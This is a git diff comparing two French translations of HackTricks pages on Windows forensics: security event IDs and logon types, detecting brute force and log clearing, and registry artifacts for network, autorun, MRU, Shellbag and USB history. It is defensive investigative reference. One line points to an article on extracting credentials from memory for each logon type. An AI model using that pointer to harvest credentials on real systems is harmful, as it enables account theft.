||||||
* Modification de la configuration de sécurité
|
* Modification de la configuration de sécurité
|
||||||
|
|
||||||
Événements liés à l'authentification des utilisateurs :
|
Événements liés à l'authentification de l'utilisateur :
|
||||||
|
|
||||||
| EventID | Description |
|
| EventID | Description |
|
||||||
| --------- | ---------------------------- |
|
| --------- | ---------------------------- |
|
||||||
| 4624 | Authentification réussie |
|
| 4624 | Authentification réussie |
|
||||||
| 4625 | Erreur d'authentification |
|
| 4625 | Erreur d'authentification |
|
||||||
| 4634/4647 | déconnexion |
|
| 4634/4647 | Déconnexion |
|
||||||
| 4672 | Connexion avec des permissions admin |
|
| 4672 | Connexion avec permissions administratives |
|
||||||
|
|
||||||
À l'intérieur de l'EventID 4634/4647, il y a des sous-types intéressants :
|
À l'intérieur de l'EventID 4634/4647, il y a des sous-types intéressants :
|
||||||
|
|
||||||
* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou des logiciels comme VNC ou `PSexec -U-`
|
* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou un logiciel comme VNC ou `PSexec -U-`
|
||||||
* **3 (réseau)** : Connexion à un dossier partagé
|
* **3 (réseau)** : Connexion à un dossier partagé
|
||||||
* **4 (Batch)** : Processus exécuté
|
* **4 (lot)** : Processus exécuté
|
||||||
* **5 (service)** : Service démarré par le Gestionnaire de contrôle des services
|
* **5 (service)** : Service démarré par le Gestionnaire de services
|
||||||
* **6 (proxy)** : Connexion proxy
|
* **6 (proxy)** : Connexion proxy
|
||||||
* **7 (Déverrouillage)** : Écran déverrouillé en utilisant un mot de passe
|
* **7 (déverrouillage)** : Écran déverrouillé en utilisant un mot de passe
|
||||||
* **8 (texte clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement provient généralement de l'IIS
|
* **8 (texte en clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement provenait de l'IIS
|
||||||
* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou que l'utilisateur accède à un service réseau avec des informations d'identification différentes.
|
* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou lorsque l'utilisateur accède à un service réseau avec des informations d'identification différentes.
|
||||||
* **10 (interactif à distance)** : Authentification via les Services de Terminal ou RDP
|
* **10 (interactif à distance)** : Authentification via les Services Terminal ou RDP
|
||||||
* **11 (cache interactif)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'était pas possible de contacter le contrôleur de domaine
|
* **11 (interactif mis en cache)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'était pas possible de contacter le contrôleur de domaine
|
||||||
* **12 (cache interactif à distance)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11).
|
* **12 (interactif à distance mis en cache)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11).
|
||||||
* **13 (déverrouillage en cache)** : Déverrouillage d'une machine verrouillée avec des informations d'identification mises en cache.
|
* **13 (déverrouillage mis en cache)** : Déverrouiller une machine verrouillée avec des informations d'identification mises en cache.
|
||||||
|
|
||||||
Dans cet article, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire des informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
|
Dans ce post, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire des informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
|
||||||
|
|
||||||
Les informations de statut et de sous-statut des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, regardez les codes de statut et de sous-statut suivants de l'Event ID 4625 :
|
Les informations d'état et de sous-état des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, jetez un œil aux codes d'état et de sous-état suivants de l'ID d'événement 4625 :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (455).png>)
|
![](<../../../.gitbook/assets/image (455).png>)
|
||||||
|
|
||||||
### Récupération des événements Windows
|
### Récupération des événements Windows
|
||||||
|
|
||||||
Il est fortement recommandé d'éteindre le PC suspect en le **débranchant** pour maximiser la probabilité de récupérer les événements Windows. Dans le cas où ils auraient été supprimés, un outil qui peut être utile pour essayer de les récupérer est [**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**.
|
Il est fortement recommandé d'éteindre l'ordinateur suspect en le **débranchant** pour maximiser la probabilité de récupérer les événements Windows. En cas de suppression, un outil qui peut être utile pour essayer de les récupérer est [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**.
|
||||||
|
|
||||||
## Identification des attaques courantes avec les événements Windows
|
## Identification des attaques courantes avec les événements Windows
|
||||||
|
|
||||||
|
@ -491,40 +490,25 @@ Il est fortement recommandé d'éteindre le PC suspect en le **débranchant** po
|
||||||
|
|
||||||
### Attaque par force brute
|
### Attaque par force brute
|
||||||
|
|
||||||
Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque était **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**.
|
Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque a été **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**.
|
||||||
|
|
||||||
### Changement d'heure
|
### Changement d'heure
|
||||||
|
|
||||||
C'est terrible pour l'équipe de forensique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 dans le journal des événements de sécurité.
|
C'est terrible pour l'équipe de la police scientifique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 à l'intérieur du journal d'événements de sécurité.
|
||||||
|
|
||||||
### Périphériques USB
|
### Périphériques USB
|
||||||
|
|
||||||
Les EventIDs système suivants sont utiles :
|
Les EventIDs système suivants sont utiles :
|
||||||
|
|
||||||
* 20001 / 20003 / 10000 : Première fois qu'il a été utilisé
|
* 20001 / 20003 / 10000 : Première utilisation
|
||||||
* 10100 : Mise à jour du pilote
|
* 10100 : Mise à jour du pilote
|
||||||
|
|
||||||
L'EventID 112 de DeviceSetupManager contient l'horodatage de chaque périphérique USB inséré.
|
L'EventID 112 de DeviceSetupManager contient l'horodatage de chaque périphérique USB inséré.
|
||||||
|
|
||||||
### Extinction / Allumage
|
### Allumer / Éteindre
|
||||||
|
|
||||||
L'ID 6005 du service "Event Log" indique que le PC a été allumé. L'ID 6006 indique qu'il a été éteint.
|
L'ID 6005 du service "Journal d'événements" indique que l'ordinateur a été allumé. L'ID 6006 indique qu'il a été éteint.
|
||||||
|
|
||||||
### Suppression des journaux
|
### Suppression des journaux
|
||||||
|
|
||||||
L'EventID de sécurité 1102 indique que les journaux ont été supprimés.
|
L'EventID 1102 de sécurité indique que les journaux ont été supprimés.
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
```
|
|
||||||
|
|
|
@ -4,15 +4,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -20,132 +20,132 @@ Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
### Version
|
### Version
|
||||||
|
|
||||||
* **`Software\Microsoft\Windows NT\CurrentVersion`** : Version de Windows, Service Pack, heure d'installation et propriétaire enregistré
|
- **`Software\Microsoft\Windows NT\CurrentVersion`** : Version de Windows, Service Pack, heure d'installation et propriétaire enregistré
|
||||||
|
|
||||||
### Nom d'hôte
|
### Nom d'hôte
|
||||||
|
|
||||||
* **`System\ControlSet001\Control\ComputerName\ComputerName`** : Nom d'hôte
|
- **`System\ControlSet001\Control\ComputerName\ComputerName`** : Nom d'hôte
|
||||||
|
|
||||||
### Fuseau horaire
|
### Fuseau horaire
|
||||||
|
|
||||||
* **`System\ControlSet001\Control\TimeZoneInformation`** : Fuseau horaire
|
- **`System\ControlSet001\Control\TimeZoneInformation`** : Fuseau horaire
|
||||||
|
|
||||||
### Dernier accès
|
### Dernière heure d'accès
|
||||||
|
|
||||||
* **`System\ControlSet001\Control\Filesystem`** : Dernier accès (par défaut désactivé avec `NtfsDisableLastAccessUpdate=1`, si `0`, alors, c'est activé).
|
- **`System\ControlSet001\Control\Filesystem`** : Dernière heure d'accès (par défaut désactivée avec `NtfsDisableLastAccessUpdate=1`, si `0`, alors elle est activée).
|
||||||
* Pour l'activer : `fsutil behavior set disablelastaccess 0`
|
- Pour l'activer : `fsutil behavior set disablelastaccess 0`
|
||||||
|
|
||||||
### Heure d'arrêt
|
### Heure d'arrêt
|
||||||
|
|
||||||
* `System\ControlSet001\Control\Windows` : Heure d'arrêt
|
- `System\ControlSet001\Control\Windows` : Heure d'arrêt
|
||||||
* `System\ControlSet001\Control\Watchdog\Display` : Compteur d'arrêt (uniquement XP)
|
- `System\ControlSet001\Control\Watchdog\Display` : Nombre d'arrêts (uniquement XP)
|
||||||
|
|
||||||
### Informations réseau
|
### Informations réseau
|
||||||
|
|
||||||
* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** : Interfaces réseau
|
- **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** : Interfaces réseau
|
||||||
* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`** : Première et dernière fois qu'une connexion réseau a été effectuée et connexions via VPN
|
- **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`** : Première et dernière fois qu'une connexion réseau a été effectuée et connexions via VPN
|
||||||
* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (pour XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`** : Type de réseau (0x47-sans fil, 0x06-câble, 0x17-3G) et catégorie (0-Public, 1-Privé/Maison, 2-Domaine/Travail) et dernières connexions
|
- **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}`** (pour XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles` : Type de réseau (0x47-sans fil, 0x06-câble, 0x17-3G) et catégorie (0-Public, 1-Privé/Domicile, 2-Domaine/Travail) et dernières connexions
|
||||||
|
|
||||||
### Dossiers partagés
|
### Dossiers partagés
|
||||||
|
|
||||||
* **`System\ControlSet001\Services\lanmanserver\Shares\`** : Dossiers partagés et leurs configurations. Si **Client Side Caching** (CSCFLAGS) est activé, alors, une copie des fichiers partagés sera sauvegardée chez les clients et le serveur dans `C:\Windows\CSC`
|
- **`System\ControlSet001\Services\lanmanserver\Shares\`** : Dossiers partagés et leurs configurations. Si **la mise en cache côté client** (CSCFLAGS) est activée, une copie des fichiers partagés sera enregistrée dans les clients et le serveur dans `C:\Windows\CSC`
|
||||||
* CSCFlag=0 -> Par défaut, l'utilisateur doit indiquer les fichiers qu'il souhaite mettre en cache
|
- CSCFlag=0 -> Par défaut, l'utilisateur doit indiquer les fichiers qu'il souhaite mettre en cache
|
||||||
* CSCFlag=16 -> Mise en cache automatique des documents. "Tous les fichiers et programmes que les utilisateurs ouvrent à partir du dossier partagé sont automatiquement disponibles hors ligne" avec l'option "optimiser pour la performance" décochée.
|
- CSCFlag=16 -> Mise en cache automatique des documents. "Tous les fichiers et programmes ouverts à partir du dossier partagé sont automatiquement disponibles hors connexion" avec l'option "optimiser les performances" décochée.
|
||||||
* CSCFlag=32 -> Comme les options précédentes mais "optimiser pour la performance" est cochée
|
- CSCFlag=32 -> Comme les options précédentes mais avec l'option "optimiser les performances" cochée
|
||||||
* CSCFlag=48 -> Le cache est désactivé.
|
- CSCFlag=48 -> La mise en cache est désactivée.
|
||||||
* CSCFlag=2048 : Ce paramètre est uniquement sur Win 7 & 8 et est le paramètre par défaut jusqu'à ce que vous désactiviez le "Partage de fichiers simple" ou utilisiez l'option de partage "avancée". Il semble également être le paramètre par défaut pour le "Groupe résidentiel"
|
- CSCFlag=2048 : Ce paramètre est uniquement sur Win 7 & 8 et est le paramètre par défaut jusqu'à ce que vous désactiviez le "Partage de fichiers simple" ou utilisiez l'option de partage "avancée". Il semble également être le paramètre par défaut pour le "Groupe résidentiel"
|
||||||
* CSCFlag=768 -> Ce paramètre a été vu uniquement sur des périphériques d'impression partagés.
|
- CSCFlag=768 -> Ce paramètre n'a été vu que sur les périphériques d'impression partagés.
|
||||||
|
|
||||||
### Programmes de démarrage automatique
|
### Programmes de démarrage automatique
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||||
* `Software\Microsoft\Windows\CurrentVersion\Runonce`
|
- `Software\Microsoft\Windows\CurrentVersion\Runonce`
|
||||||
* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
|
- `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
|
||||||
* `Software\Microsoft\Windows\CurrentVersion\Run`
|
- `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
|
|
||||||
### Recherches dans l'Explorateur
|
### Recherches dans l'Explorateur
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery` : Ce que l'utilisateur a recherché en utilisant l'explorateur/l'assistant. L'élément avec `MRU=0` est le dernier.
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery` : Ce que l'utilisateur a recherché en utilisant l'explorateur/assistant. L'élément avec `MRU=0` est le dernier.
|
||||||
|
|
||||||
### Chemins saisis
|
### Chemins saisis
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths` : Chemins saisis dans l'explorateur (uniquement W10)
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths` : Chemins saisis dans l'explorateur (uniquement W10)
|
||||||
|
|
||||||
### Documents récents
|
### Documents récents
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` : Documents récents ouverts par l'utilisateur
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` : Documents récemment ouverts par l'utilisateur
|
||||||
* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU` : Documents Office récents. Versions :
|
- `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU` : Documents Office récents. Versions :
|
||||||
* 14.0 Office 2010
|
- 14.0 Office 2010
|
||||||
* 12.0 Office 2007
|
- 12.0 Office 2007
|
||||||
* 11.0 Office 2003
|
- 11.0 Office 2003
|
||||||
* 10.0 Office X
|
- 10.0 Office X
|
||||||
* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU` : Documents Office récents. Versions :
|
- `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU` : Documents Office récents. Versions :
|
||||||
* 15.0 office 2013
|
- 15.0 Office 2013
|
||||||
* 16.0 Office 2016
|
- 16.0 Office 2016
|
||||||
|
|
||||||
### MRUs
|
### MRU
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU`
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU`
|
||||||
|
|
||||||
Indique le chemin d'où l'exécutable a été lancé
|
Indique le chemin à partir duquel l'exécutable a été lancé
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP)
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP)
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU`
|
||||||
|
|
||||||
Indique les fichiers ouverts à l'intérieur d'une fenêtre ouverte
|
Indique les fichiers ouverts dans une fenêtre ouverte
|
||||||
|
|
||||||
### Dernières commandes exécutées
|
### Dernières commandes exécutées
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR`
|
||||||
|
|
||||||
### Clé User Assist
|
### Clé User Assist
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`
|
- `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`
|
||||||
|
|
||||||
Le GUID est l'identifiant de l'application. Données enregistrées :
|
Le GUID est l'identifiant de l'application. Données enregistrées :
|
||||||
|
|
||||||
* Dernière heure d'exécution
|
- Dernière heure d'exécution
|
||||||
* Compteur d'exécution
|
- Nombre d'exécutions
|
||||||
* Nom de l'application GUI (cela contient le chemin absolu et plus d'informations)
|
- Nom de l'application GUI (contient le chemin absolu et plus d'informations)
|
||||||
* Temps de focus et nom du focus
|
- Temps de mise au premier plan et nom de mise au premier plan
|
||||||
|
|
||||||
## Shellbags
|
## Shellbags
|
||||||
|
|
||||||
Lorsque vous ouvrez un répertoire, Windows enregistre des données sur la façon de visualiser le répertoire dans le registre. Ces entrées sont connues sous le nom de Shellbags.
|
Lorsque vous ouvrez un répertoire, Windows enregistre des données sur la manière de visualiser le répertoire dans le registre. Ces entrées sont connues sous le nom de Shellbags.
|
||||||
|
|
||||||
Accès à l'Explorateur :
|
Accès à l'Explorateur :
|
||||||
|
|
||||||
* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags`
|
- `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags`
|
||||||
* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU`
|
- `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU`
|
||||||
|
|
||||||
Accès au Bureau :
|
Accès au Bureau :
|
||||||
|
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU`
|
- `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU`
|
||||||
* `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags`
|
- `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags`
|
||||||
|
|
||||||
Pour analyser les Shellbags, vous pouvez utiliser [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) et vous pourrez trouver le **temps MAC du dossier** ainsi que la **date de création et la date de modification du shellbag** qui sont liées à la **première et à la dernière fois** que le dossier a été accédé.
|
Pour analyser les Shellbags, vous pouvez utiliser [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) et vous pourrez trouver le **temps MAC du dossier** ainsi que la **date de création et de modification du shellbag** qui sont liées à la **première et à la dernière fois** où le dossier a été accédé.
|
||||||
|
|
||||||
Notez deux choses de l'image suivante :
|
Notez 2 choses à partir de l'image suivante :
|
||||||
|
|
||||||
1. Nous connaissons le **nom des dossiers du USB** qui a été inséré dans **E:**
|
1. Nous connaissons le **nom des dossiers de la clé USB** qui a été insérée dans **E:**
|
||||||
2. Nous savons quand le **shellbag a été créé et modifié** et quand le dossier a été créé et accédé
|
2. Nous savons quand le **shellbag a été créé et modifié** et quand le dossier a été créé et accédé
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (475).png>)
|
![](<../../../.gitbook/assets/image (475).png>)
|
||||||
|
|
||||||
## Informations USB
|
## Informations sur les clés USB
|
||||||
|
|
||||||
### Infos sur l'appareil
|
### Informations sur le périphérique
|
||||||
|
|
||||||
Le registre `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` surveille chaque appareil USB qui a été connecté au PC.\
|
Le registre `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` surveille chaque périphérique USB connecté au PC.\
|
||||||
Dans ce registre, il est possible de trouver :
|
Dans ce registre, il est possible de trouver :
|
||||||
|
|
||||||
* Le nom du fabricant
|
- Le nom du fabricant
|
||||||
* Le nom et la version du produit
|
- Le nom et la version du produit
|
||||||
* L'ID de classe de l'appareil
|
- L'ID de classe du périphérique
|
||||||
* Le nom du volume (dans les images suivantes, le nom du volume est la sous-clé en surbrillance)
|
- Le nom du volume (dans les images suivantes, le nom du volume est la sous-clé surlignée)
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (477).png>)
|
![](<../../../.gitbook/assets/image (477).png>)
|
||||||
|
|
||||||
|
@ -159,48 +159,48 @@ Avec les informations précédentes, le registre `SOFTWARE\Microsoft\Windows Por
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (480).png>)
|
![](<../../../.gitbook/assets/image (480).png>)
|
||||||
|
|
||||||
### Utilisateur ayant utilisé l'appareil
|
### Utilisateur ayant utilisé le périphérique
|
||||||
|
|
||||||
Avec le **{GUID}** de l'appareil, il est maintenant possible de **vérifier toutes les ruches NTUDER.DAT de tous les utilisateurs**, en recherchant le GUID jusqu'à ce que vous le trouviez dans l'un d'eux (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`).
|
En ayant le **{GUID}** du périphérique, il est maintenant possible de **vérifier toutes les ruches NTUDER.DAT de tous les utilisateurs**, en recherchant le GUID jusqu'à ce que vous le trouviez dans l'un d'eux (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (481).png>)
|
![](<../../../.gitbook/assets/image (481).png>)
|
||||||
|
|
||||||
### Dernier montage
|
### Dernier montage
|
||||||
|
|
||||||
En vérifiant le registre `System\MoutedDevices`, il est possible de savoir **quel appareil a été le dernier monté**. Dans l'image suivante, vérifiez comment le dernier appareil monté dans `E:` est le Toshiba (en utilisant l'outil Registry Explorer).
|
En vérifiant le registre `System\MoutedDevices`, il est possible de découvrir **quel périphérique a été le dernier monté**. Dans l'image suivante, vérifiez comment le dernier périphérique monté en `E:` est celui de Toshiba (en utilisant l'outil Registry Explorer).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (483) (1) (1).png>)
|
![](<../../../.gitbook/assets/image (483) (1) (1).png>)
|
||||||
|
|
||||||
### Numéro de série du volume
|
### Numéro de série du volume
|
||||||
|
|
||||||
Dans `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, vous pouvez trouver le numéro de série du volume. **En connaissant le nom du volume et le numéro de série du volume, vous pouvez corréler les informations** à partir des fichiers LNK qui utilisent ces informations.
|
Dans `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, vous pouvez trouver le numéro de série du volume. **En connaissant le nom du volume et le numéro de série du volume, vous pouvez corréler les informations** des fichiers LNK qui utilisent ces informations.
|
||||||
|
|
||||||
Notez que lorsqu'un appareil USB est formaté :
|
Notez que lorsqu'un périphérique USB est formaté :
|
||||||
|
|
||||||
* Un nouveau nom de volume est créé
|
- Un nouveau nom de volume est créé
|
||||||
* Un nouveau numéro de série du volume est créé
|
- Un nouveau numéro de série de volume est créé
|
||||||
* Le numéro de série physique est conservé
|
- Le numéro de série physique est conservé
|
||||||
|
|
||||||
### Horodatages
|
### Horodatages
|
||||||
|
|
||||||
Dans `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\`, vous pouvez trouver la première et la dernière fois que l'appareil a été connecté :
|
Dans `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\`, vous pouvez trouver la première et la dernière fois où le périphérique a été connecté :
|
||||||
|
|
||||||
* 0064 -- Première connexion
|
- 0064 -- Première connexion
|
||||||
* 0066 -- Dernière connexion
|
- 0066 -- Dernière connexion
|
||||||
* 0067 -- Déconnexion
|
- 0067 -- Déconnexion
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (482).png>)
|
![](<../../../.gitbook/assets/image (482).png>)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
